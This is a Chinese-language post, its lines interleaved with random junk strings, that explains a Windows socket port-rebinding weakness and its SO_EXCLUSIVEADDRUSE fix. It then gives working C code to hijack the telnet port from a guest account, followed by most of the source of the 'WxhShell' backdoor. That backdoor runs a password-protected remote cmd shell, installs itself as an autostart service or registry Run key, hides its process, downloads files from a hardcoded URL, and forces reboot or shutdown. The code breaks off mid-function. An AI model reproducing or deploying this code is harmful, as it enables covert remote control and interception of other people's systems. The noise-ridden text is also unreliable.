在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
.tBlGMcN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
5> k:PKHL @u~S!(7.Wi saddr.sin_family = AF_INET;
baxZ>KNi )*') saddr.sin_addr.s_addr = htonl(INADDR_ANY);
I>c,Bo7 7Cgi& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
aZfMeW u
v%Q5O4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
fgLjF,Y \}j MC 这意味着什么?意味着可以进行如下的攻击:
_fAgp_) *Gsj pNr- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+y7z>Fwl %@$UIO,( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0I}e>]:I BZR{}Aj4pa 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0[;2dc X>q`F;W 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
lu8G$EQI ]hl*6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
12$0-@U >)><u4} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_)A|JC!jId X{9^$/XsJ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<izQ]\kL #&3,T1i` #include
rp Nb. #include
O-iE 0t #include
+pofN-*% #include
>{#JIG. DWORD WINAPI ClientThread(LPVOID lpParam);
%#6@PQ[R. int main()
fFQ|dE;cF {
K$E3RB_F WORD wVersionRequested;
b#j:)PA0C DWORD ret;
2HbnE& WSADATA wsaData;
eUPa5{P BOOL val;
&L o TO+ SOCKADDR_IN saddr;
o%d
TcoCN SOCKADDR_IN scaddr;
#Z&/w.D2 int err;
1? >P3C SOCKET s;
SzULy
>e SOCKET sc;
QX,$JM3 int caddsize;
kZ]H[\Fs HANDLE mt;
GP:<h@:798 DWORD tid;
=BJLj0=N wVersionRequested = MAKEWORD( 2, 2 );
`Sod]bO
+U err = WSAStartup( wVersionRequested, &wsaData );
4u{S?Ryy if ( err != 0 ) {
6FS%9.Ws printf("error!WSAStartup failed!\n");
XS<>0YM return -1;
$vn6%M[ }
sdp&D@ saddr.sin_family = AF_INET;
2e48L677- Pt]>AW;i //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
WBe0^=x 4GYi' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
1 ZdB6U0 saddr.sin_port = htons(23);
%6K7uvTq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t)SZ2G1r {
|IxHtg3>6{ printf("error!socket failed!\n");
r]B8\5|<d return -1;
2y[Q }
=8FvkNr val = TRUE;
C@M-_Ud>Q //SO_REUSEADDR选项就是可以实现端口重绑定的
8%rD/b6` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,67Q!/O {
A40DbD\^ad printf("error!setsockopt failed!\n");
('J/Ww< return -1;
o3WOp80hz }
ChBf:`e //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>P6"-x,[" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
oFk2y ^>u //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"N4^ ^~s XF`2*:7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
P^Hgm {
+Y;P*U}Qg[ ret=GetLastError();
c:Ua\$)u3, printf("error!bind failed!\n");
h>Kx return -1;
,EqQU| }
*v<f#hB" listen(s,2);
kk4 |4 while(1)
!$I~3_c {
5epI'D caddsize = sizeof(scaddr);
kc'$4 J4Tw //接受连接请求
%VHy?!/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
DP_b9o
\5 if(sc!=INVALID_SOCKET)
IsXNAYj {
MT6p@b5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
\PX4>/d@y if(mt==NULL)
}D1x%L {
G?Et$r7:R printf("Thread Creat Failed!\n");
iFIGJS break;
w\C1Bh! }
pwSgFc$z }
iUkUo x CloseHandle(mt);
5(;Y&?k }
)W\)37=. closesocket(s);
I| TNo-!$ WSACleanup();
$<*) 5|6 return 0;
pyEQb# }
2- iY:r DWORD WINAPI ClientThread(LPVOID lpParam)
!$)reaS {
lZzW-
%K SOCKET ss = (SOCKET)lpParam;
)@]%:m!ER SOCKET sc;
m\teE]8x unsigned char buf[4096];
"O$bq::(]e SOCKADDR_IN saddr;
G?4@[m long num;
|mT%IR DWORD val;
=4TQ*;V: DWORD ret;
hY}Q|-| //如果是隐藏端口应用的话,可以在此处加一些判断
M1jT+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
kD#T_d saddr.sin_family = AF_INET;
aZZ0eH saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^sv|m" saddr.sin_port = htons(23);
&X4anH>O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@52#ZWy {
w4
yrAj
2 printf("error!socket failed!\n");
FgdnX2s J return -1;
cXXZ'y>FP }
-"-.Z val = 100;
TE`5i~R* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Va!G4_OT {
^[hAj>7_8$ ret = GetLastError();
74^v('-2 return -1;
Iv6 lE:) }
FDoPW~+[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<Bo\a3Z {
b'4a;k!rS ret = GetLastError();
@&T' h}|: return -1;
C-pR$WM:HN }
\g0vzo"u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
M)13'B. {
zC50 @S3| printf("error!socket connect failed!\n");
?NE/}?a closesocket(sc);
RO3LZBL closesocket(ss);
i)l0[FNI} return -1;
UfW=/T }
|v+z*}fKw while(1)
0E\#!L {
d` GN!^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
4!sK>l! //如果是嗅探内容的话,可以再此处进行内容分析和记录
@9^OHRZX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&C'^YF_^0 num = recv(ss,buf,4096,0);
!7t&d if(num>0)
MlTC?Rp# send(sc,buf,num,0);
=r]l"T else if(num==0)
Xg~9<BGsi break;
stiF`l num = recv(sc,buf,4096,0);
RvG=GJJ9 if(num>0)
>H+tZV send(ss,buf,num,0);
(wj:Gc else if(num==0)
?}`-?JB1 break;
AojL4H| }
y\v#qFVOZ closesocket(ss);
~\=D@G,9 closesocket(sc);
l8~(bq1 return 0 ;
izSX }
~vTwuc\(H Z/,R{Jgt" #91^1jyMf ==========================================================
yPE3Awh5 %OoH<\w
w
下边附上一个代码,,WXhSHELL
k A=5Kc kq| !{_ ==========================================================
HMVP71 yjT>bu]
#include "stdafx.h"
DN:|
s+Lz AL":j6!OQ #include <stdio.h>
20I`F>-* #include <string.h>
&G2&OFAr]q #include <windows.h>
)>2L(~W #include <winsock2.h>
n1%2sV)> #include <winsvc.h>
/<_!Gz.@uG #include <urlmon.h>
WIU]>_$. BP..p ^EPN #pragma comment (lib, "Ws2_32.lib")
75a3hPCZ #pragma comment (lib, "urlmon.lib")
x[mz`0 h: yJ #define MAX_USER 100 // 最大客户端连接数
a~Dk@>+P> #define BUF_SOCK 200 // sock buffer
1v&!%9 #define KEY_BUFF 255 // 输入 buffer
lEl.'X$ F]M-r{ #define REBOOT 0 // 重启
4AN8Sx( #define SHUTDOWN 1 // 关机
E5i5gE"\ N]FRL\K #define DEF_PORT 5000 // 监听端口
}$i"t8"s
Gd A!8 #define REG_LEN 16 // 注册表键长度
WVD48}HF- #define SVC_LEN 80 // NT服务名长度
t
U}6^yc )W= O~g // 从dll定义API
_-BP?'lN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
NsI. mTc2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
D\M"bf>q1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
NzAh3k typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$'KQP8M+ OxDqLX // wxhshell配置信息
e6MBy\*n struct WSCFG {
=?$~=1SL+ int ws_port; // 监听端口
.@fA_8 char ws_passstr[REG_LEN]; // 口令
mrr]{K int ws_autoins; // 安装标记, 1=yes 0=no
]I)ofXu] char ws_regname[REG_LEN]; // 注册表键名
W,EIBgR(R5 char ws_svcname[REG_LEN]; // 服务名
Yuw:W:wY char ws_svcdisp[SVC_LEN]; // 服务显示名
?j8!3NCl} char ws_svcdesc[SVC_LEN]; // 服务描述信息
7j)ky2r# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
GXxI=,L8F int ws_downexe; // 下载执行标记, 1=yes 0=no
~~Bks{"BS char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
cFc(HADM`r char ws_filenam[SVC_LEN]; // 下载后保存的文件名
56JQ h 6D
Xja_lp };
@%fTdneH bN-!&Td // default Wxhshell configuration
,K[e?(RP struct WSCFG wscfg={DEF_PORT,
lrZ]c:%k "xuhuanlingzhe",
G_?U?:!AC 1,
S?CT6moXA "Wxhshell",
I;Mm +5A "Wxhshell",
3!8(A/YP; "WxhShell Service",
4Q0ZY(2 EO "Wrsky Windows CmdShell Service",
PP{9Y Vr "Please Input Your Password: ",
_yg;5#3 1,
N `:MF 9 "
http://www.wrsky.com/wxhshell.exe",
zYV{ |Z "Wxhshell.exe"
61Cc? a*_ };
mDz44XO b9rQQS // 消息定义模块
"LlQl3"= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
&(,\~ char *msg_ws_prompt="\n\r? for help\n\r#>";
4/~x+tdc char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Jy/<
{7j char *msg_ws_ext="\n\rExit.";
lv=q( & char *msg_ws_end="\n\rQuit.";
^85Eveu char *msg_ws_boot="\n\rReboot...";
Soq#cl'll- char *msg_ws_poff="\n\rShutdown...";
<qfAW?tF char *msg_ws_down="\n\rSave to ";
rwJU;wy l,l qhq\ char *msg_ws_err="\n\rErr!";
\{`^Q+< char *msg_ws_ok="\n\rOK!";
"<+~uz (Ff}Y.4 char ExeFile[MAX_PATH];
g,]o+nT int nUser = 0;
ViiJDYT>E< HANDLE handles[MAX_USER];
UB5H8&Rf! int OsIsNt;
Q k}RcP 27fLW&b2 SERVICE_STATUS serviceStatus;
=V|jd'iwx SERVICE_STATUS_HANDLE hServiceStatusHandle;
<&Xl b0 r<fcZ)jt| // 函数声明
P}~MO)*1 int Install(void);
m6[}KkW int Uninstall(void);
rmzzbLTu int DownloadFile(char *sURL, SOCKET wsh);
H2%Qu<Kg2 int Boot(int flag);
*VhEl7 void HideProc(void);
OY}FtGy int GetOsVer(void);
C0[U}Y/r2 int Wxhshell(SOCKET wsl);
s1Acl\l-uF void TalkWithClient(void *cs);
!DOyOTR&3 int CmdShell(SOCKET sock);
by'KJxl[ int StartFromService(void);
.x%w# int StartWxhshell(LPSTR lpCmdLine);
h_?`ESI~ >I\B_q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}P?e31@: VOID WINAPI NTServiceHandler( DWORD fdwControl );
0&sa#g2 SbGdcCB // 数据结构和表定义
yn}Dj9(q SERVICE_TABLE_ENTRY DispatchTable[] =
H;4QuB'^ {
T+nID@"36 {wscfg.ws_svcname, NTServiceMain},
=tD*,2] {NULL, NULL}
Y[f]L4,V };
avq$aq(3& `sqr>QD // 自我安装
>\[]z^J int Install(void)
OiQf=Uz\ {
U.,S.WP+d char svExeFile[MAX_PATH];
=_ pSfKR; HKEY key;
E>s+"y strcpy(svExeFile,ExeFile);
zQulPU >fWGiFmlk // 如果是win9x系统,修改注册表设为自启动
3!l>\#q6 if(!OsIsNt) {
Qwpni^D8j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
uQ-GJI^t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=(
|%%,3 RegCloseKey(key);
:W, S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PolJo?HZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{EvT7W RegCloseKey(key);
@
&N return 0;
P6.PjK!Ar }
ldUZ\z(* }
s0dP3tz> }
,Tr&`2w else {
3`yO&upk =KHb0d |. // 如果是NT以上系统,安装为系统服务
r\Y,*e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
S?b&4\: if (schSCManager!=0)
sMGo1pG( {
DWOf\[
SC_HANDLE schService = CreateService
eR \duZ!` (
+"-l~`+<es schSCManager,
u!|_bI3 wscfg.ws_svcname,
,Suk_aX> wscfg.ws_svcdisp,
syBpF:`-W SERVICE_ALL_ACCESS,
1<'z)r4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7he,(V SERVICE_AUTO_START,
^nNY|
* SERVICE_ERROR_NORMAL,
]]K?Q
)9x svExeFile,
AB/${RGf+ NULL,
|K1S(m<F NULL,
a6n@
NULL,
>
pb}@\;: NULL,
nrKAK^ NULL
1"Oe*@`pV );
&Tt7VYJfIV if (schService!=0)
-+@N/d5 {
g@^ y$wt CloseServiceHandle(schService);
Pv5S k8 CloseServiceHandle(schSCManager);
(G>su strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Q,5PscE6&k strcat(svExeFile,wscfg.ws_svcname);
_C5i\Y) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
%>Gb]dv? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
:4V5p
=v- RegCloseKey(key);
9<?w9D.1 return 0;
UCcr> }
@>O7/d?O }
[T r7SU#x CloseServiceHandle(schSCManager);
Dst;sLr[, }
s`=| D'G(= }
9f0`HvHC y[$UeE"0 return 1;
3R<r[3WP }
w3,KqF CmBPCjh // 自我卸载
C`[2B0 int Uninstall(void)
C{/U;Ie-b {
#).^k- HKEY key;
u!D?^:u=) a?+C]u?_D if(!OsIsNt) {
c;]\$#2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y_Lnk=Q ^ RegDeleteValue(key,wscfg.ws_regname);
n)X%&_ RegCloseKey(key);
P
2_!(FZ<l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
C&Q[[k"kb RegDeleteValue(key,wscfg.ws_regname);
gS<p~LPf RegCloseKey(key);
t RU/[?! return 0;
>97YK = }
[]@@ }
y`zdI_!7 }
0J'^<GTL else {
sZ=!*tb- 0x~+=GUN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
F}l3\uC] if (schSCManager!=0)
_'cB<9P
{
mH$ `)i8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ppIXS( if (schService!=0)
'Grej8 {
.)tQ&2
if(DeleteService(schService)!=0) {
;U4O` pZ CloseServiceHandle(schService);
uxxk&+M CloseServiceHandle(schSCManager);
[,Rc&7p~R return 0;
x} =,'Ko}3 }
wp }Q4I CloseServiceHandle(schService);
ys[xR=nbD }
]mtiIu[ CloseServiceHandle(schSCManager);
~s&r.6DW }
S Yi !% }
X$;x2mz nM /95z1e return 1;
!QVhP+l'H }
).jQ+XE'> !:\0}w$- // 从指定url下载文件
4Mg%}/cC int DownloadFile(char *sURL, SOCKET wsh)
w%`S>+kX& {
spP[S"gI HRESULT hr;
| t:UpP char seps[]= "/";
uSXnf char *token;
RDSC @3% char *file;
l7T?Yx j char myURL[MAX_PATH];
SVVE b6& char myFILE[MAX_PATH];
$A~aNI ILDO/>n strcpy(myURL,sURL);
&V
axv$v} token=strtok(myURL,seps);
!j7mY9x+ while(token!=NULL)
U~BR8]=G {
/D9#v1b file=token;
_}47U7s8 token=strtok(NULL,seps);
jl}9R]Y_2 }
J1(SL~e], ~c v|, GetCurrentDirectory(MAX_PATH,myFILE);
8cZ[Kl% strcat(myFILE, "\\");
FP&Ykx~ strcat(myFILE, file);
lGahwn: send(wsh,myFILE,strlen(myFILE),0);
O6$,J12l send(wsh,"...",3,0);
S^~"# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
q<.k:v& if(hr==S_OK)
U^[AW$WzU return 0;
i;~.kgtq4 else
:-59~8& return 1;
W"s/8; &^&0,g?To }
?i0u)<H eptw)S-j // 系统电源模块
XC<'m{^(m int Boot(int flag)
\'g7oV;>cI {
wG:RvgX} HANDLE hToken;
Zt41f PQ TOKEN_PRIVILEGES tkp;
/kr|}`#
Z Z/ml,4e if(OsIsNt) {
u)EtEl7Wq OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
jHT^I
as LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
_t]Q*i0p tkp.PrivilegeCount = 1;
~b*|V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
l-r$czY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,]JIp~=nsh if(flag==REBOOT) {
J0bcW25 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0u"j^v return 0;
]srL>29_b }
0ie)$fi else {
Vq#0MY)2gS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
a"4X7
D+ return 0;
EpACd8Fb }
$[HCetaqV }
w$s6NBF7 else {
gZ>&cju if(flag==REBOOT) {
n=DmdQ} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#(}{*dR return 0;
ZX-A} }
{7X9P<<L7 else {
jEx8G3EL if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
' p!&&.% return 0;
4+>~Ui_# }
pIrL7Pb0 }
.0/"~5 \v:Z;EbX return 1;
k=d_{2 ~ }
sw1gpkX &)q>Z!C-l // win9x进程隐藏模块
^Hf?["m^@ void HideProc(void)
D?xR>Oo) {
?Nt m5(R Su@V5yz HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
3&[ d.,/ if ( hKernel != NULL )
_W Hi<,- {
&!:mL], pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
u9q#L.Ij ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
U7zd7O FreeLibrary(hKernel);
`|nJAW3 }
v8\_6}*I E2o8'.~Yd` return;
" 5Pqvi }
dJQwb vfDX~_N // 获取操作系统版本
m/g[9Y int GetOsVer(void)
mm!JNb9( {
NU.4_cixb OSVERSIONINFO winfo;
,{ 0&NX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
o@$pyU8 GetVersionEx(&winfo);
I+Qt5Ox if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
aY,'^S return 1;
R%t6sbsNv else
R SWw4} return 0;
YuO!Y9iEm }
Cvt/ot-J? F`gK6;zp // 客户端句柄模块
ER!s int Wxhshell(SOCKET wsl)
jX$U)O {
lUnC+w#[ SOCKET wsh;
LChwHkRHJI struct sockaddr_in client;
P
2x.rukT| DWORD myID;
xOxyz6B\ g_Y$5ft` while(nUser<MAX_USER)
qpf|.m {
5
r<cna int nSize=sizeof(client);
B.Z5+MgM wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
04X/(74 if(wsh==INVALID_SOCKET) return 1;
Wb^g{F!W GVu-<R handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`ST;";7! if(handles[nUser]==0)
SrWmV@"y closesocket(wsh);
HZ{DlH;& else
5C-n"8&C& nUser++;
>Zm|R|{BE }
vHymSU/J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
68qCY ,0,&
L return 0;
?[5_/0L,= }
sU^K5oo `9f7H // 关闭 socket
Y$hLsM\% void CloseIt(SOCKET wsh)
~^~+p {
,I f9w$(z closesocket(wsh);
W\ARCcTQ nUser--;
))6iVgSE$ ExitThread(0);
kQ6YQsJ.* }
!*k'3rKOW `LTD|0; // 客户端请求句柄
2F,?}jJ.K void TalkWithClient(void *cs)
unN*L {
kkT=g^D9j P=4o)e7E! SOCKET wsh=(SOCKET)cs;
t.XuH# char pwd[SVC_LEN];
7c'OIY]., char cmd[KEY_BUFF];
SzjylUYV char chr[1];
]4_)WUS.c int i,j;
]A_A4=[w 8;,(D#p while (nUser < MAX_USER) {
`C*psS ARB^] if(wscfg.ws_passstr) {
<5c^DA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Zr!CT5C5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
te3\MSv;O //ZeroMemory(pwd,KEY_BUFF);
!V0)eC50 i=0;
y[f6J3/ while(i<SVC_LEN) {
0ARj3 A LR`z~1 // 设置超时
9aKCO4 fd_set FdRead;
_ba.oIc struct timeval TimeOut;
4':U rJ+ FD_ZERO(&FdRead);
EhIa31>X FD_SET(wsh,&FdRead);
WWIQ6EJO TimeOut.tv_sec=8;
_7-P8"m TimeOut.tv_usec=0;
H#I%6k*\a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`hl1R3nBM if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Wl>$<D4mO[ 9>L{K
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
KSl@V>!_ pwd
=chr[0]; yuB\Z/
if(chr[0]==0xd || chr[0]==0xa) { 8&y3oxA,
pwd=0; p@=B\A]
break; 3)~z~p7
} 3%V VG~[
i++; j2!^iGS}
} z]Mu8
6Y=MW{=F
// 如果是非法用户,关闭 socket `SESj)W(y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6:Zd,N=
} l$!g#?w
McQWZ<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ca!x{,Cvnj
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); naW!Mga
v0~*?m4
while(1) { @{^6_n+gT%
rt!Uix&
ZeroMemory(cmd,KEY_BUFF); vqBT^Q_q;
bQ_N^[oxQ
// 自动支持客户端 telnet标准 kF"G {5
j=0; k/#321Z
while(j<KEY_BUFF) { \kksZ4,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .:+&2#b
cmd[j]=chr[0]; $x1PU67
if(chr[0]==0xa || chr[0]==0xd) { 7{DSLKtN
cmd[j]=0; E\=23[0
break; F5EsaF'e4
} ,W&::/2<7
j++; 4>8'.8S
} tv7A&Z)Rh
75#&hi/~
// 下载文件 j[YO1q*
if(strstr(cmd,"http://")) { VZ$FTM^b8
send(wsh,msg_ws_down,strlen(msg_ws_down),0); w^aI1M50
if(DownloadFile(cmd,wsh)) UkXf)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /M8&`
else 79Si^n1\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tm280
} `!iVMTp
else { G~Mxh,aD$>
.R>4'#8q
switch(cmd[0]) { J |TA12s
SXf Aw)-n
// 帮助 TYh_uox6
case '?': { D^JuL6U
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G8voqP
break; 3a]Omuu|=
} ZU-vZD>
// 安装 N| L Ey
case 'i': { vL:tuEE3
if(Install()) Hb{G
RG70
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4XL]~3 c
else
MfNguh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X`FFI6pb
break; v %fRq!~
} Qk.:b
// 卸载 dKwY\)\
case 'r': { Yv [j5\:x
if(Uninstall()) C~aNOe
WR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8'X:}O/
else [>tyx{T Ye
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D%k]D/
break; Z39I*-6F9W
} ]@MBE1M
// 显示 wxhshell 所在路径 C 9:5c@G
case 'p': { e^ygQ<6%
char svExeFile[MAX_PATH]; s9-aPcA
strcpy(svExeFile,"\n\r"); F)g.xQ
strcat(svExeFile,ExeFile); 92HxZ*t7km
send(wsh,svExeFile,strlen(svExeFile),0); AmmUoS\
break; g` QbJ61a
} ]ZOzqh_0C
// 重启 `CXAE0Fx
case 'b': { j4G?=oDb
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SecZ5(+=
if(Boot(REBOOT)) - &/n[EE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]B"YW_.x2
else { 5+[`x']l
closesocket(wsh); `d[ja,
ExitThread(0); qc-4;m o
} 3bp'UEF^k
break; oAgO3x
} f}1R,N_fC
// 关机 +u:Q+PkM
case 'd': { ,TAzJ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `II/nv0jn
if(Boot(SHUTDOWN)) L:g!f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $|yO
mh
else { ywRwi~
closesocket(wsh); .(8sa8{N
ExitThread(0); ]7`)|PJ
} -gpF%g`H
break; mnM!^[|z
} C4jqT
// 获取shell aI6fPQe
case 's': { ['SZe0
CmdShell(wsh); okO^/"
closesocket(wsh); g0!{CW
ExitThread(0); HjO-6F#s
break; u~9gR @e2{
} S>oQm
// 退出 noBGP/Av=:
case 'x': { 7EKQE>xj
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ? }2]G'7?
CloseIt(wsh); ;*Cu >f7
break; {u}Lhv
} K9X0/
// 离开 V@xlm
h,
case 'q': { Nuw_,-h
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y4 Y;xK"
closesocket(wsh); :u7y k@
WSACleanup(); uZ-yu|1
exit(1); t9zF
WdW
break;
j'V# =vH
} 9Xg+$/
} Z~VSWrw3
} d +Vx:`tT
R~$W
// 提示信息 }?pY~f
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S[bFS7[
} j#TtY|Po
} +K3SAGm
/=zzym~<>
return; S?bG U8R5
} Zjz< Q-
eUyQS I4A
// shell模块句柄 \k{UqU+s
int CmdShell(SOCKET sock) e>Vr#a4
{ 2[W1EQI
STARTUPINFO si; 5y. n
ZeroMemory(&si,sizeof(si)); Ri@`sc{n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZX0ZN2 ]
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6]%79?'A
PROCESS_INFORMATION ProcessInfo; &J)q _Z8
char cmdline[]="cmd"; f((pRP
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KB$s7S"=
return 0; GT[,[l
} !H`Q^Xf}
BTXS+mvl
// 自身启动模式 (Yzy;"iAu
int StartFromService(void) &^C<J
{ g7*ii
X
typedef struct l^s\^b=W
{ qHGXs@*M&
DWORD ExitStatus; ps#+i
DWORD PebBaseAddress; &R54?u^A
DWORD AffinityMask; s6(iiB%d
